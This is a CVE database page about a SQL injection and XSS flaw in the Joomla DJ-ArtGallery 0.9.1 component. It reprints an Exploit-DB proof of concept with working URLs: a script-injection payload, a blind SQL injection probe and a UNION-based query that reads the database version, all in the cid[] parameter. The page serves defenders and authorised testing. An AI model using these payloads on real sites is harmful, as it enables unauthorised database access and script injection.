CVE-2010-5043
Description
SQL injection vulnerability in the DJ-ArtGallery (com_djartgallery) component 0.9.1 for Joomla! allows remote authenticated users to execute arbitrary SQL commands via the cid[] parameter in an editItem action to administrator/index.php.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Joomla! Component DJ-ArtGallery 0.9.1 - Multiple Vulnerabilities
#Exploit Title: Joomla Component com_djartgallery Multiple Vulnerabilities
#Date: 04/06/2010
#Author: Tomasz Kowalski
#Software Link: http://www.design-joomla.eu/downloads/download/components/dj-artgallery.html
#Version: 0.9.1
#Tested on: Linux ubuntu32 2.6.32-22-generic x64
#Summary:
[+] Cross Site Scripting on administrator/components/com_djartgallery/views/editimage/tmpl/default.php:
We can fond this code on line 183:
...
<input type="hidden" name="id" value="<?php echo JRequest::getVar('id'); ?>" />
<input type="hidden" name="option" value="com_djartgallery" />
<input type="hidden" name="task" value="editImage" />
...
You must see it }x)
<input type="hidden" name="id" value="<?php echo JRequest::getVar('id'); ?>" />
Method to exploit this could be next code injection:
http://localhost/joomla/administrator/index.php?option=com_djartgallery&task=editItem
&cid[]=%22%3E%3C/form%3E%3CSCRIPT%3Ealert%28%22XSS%20by%20r0i%22%29;%3C/script%3E
[+]Blind SQL Injection
Also we can extract it databases information through Blind SQL Injection, on same parameter, how to we will see on next code:
administrator/components/com_djartgallery/controller.php, line 382:
$link = 'index.php?option=com_djartgallery&task=com_djartgallery&task=editItem&cid[]='.JRequest::getVar('id');
To exploit it:
http://victim/administrator/index.php?option=com_djartgallery&task=editItem
&cid[]=1'+and+1=1+--+
Field 'Select Article' its changed when reply its true/false; but too its likely that run UNION injection:
http://victim/administrator/index.php?option=com_djartgallery&task=editItem
&cid[]=-1%27/*!UNION%20SELECT%20@@version,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25*/+--+
by r0i by r0i by r0i by r0i by r0i by r0i by r0i by r0i by r0i by r0i by r0i by r0i
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| blueconstantmedia | com_djartgallery | 0.9.1 | |
| joomla | joomla\! | | |
References
- http://osvdb.org/65187
- http://secunia.com/advisories/40073
- http://www.exploit-db.com/exploits/13737/
- http://www.securityfocus.com/bid/40580
- https://exchange.xforce.ibmcloud.com/vulnerabilities/59142
- http://osvdb.org/65187
- http://secunia.com/advisories/40073
- http://www.exploit-db.com/exploits/13737/
- http://www.securityfocus.com/bid/40580
- https://exchange.xforce.ibmcloud.com/vulnerabilities/59142
CWEs
CWE-89
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.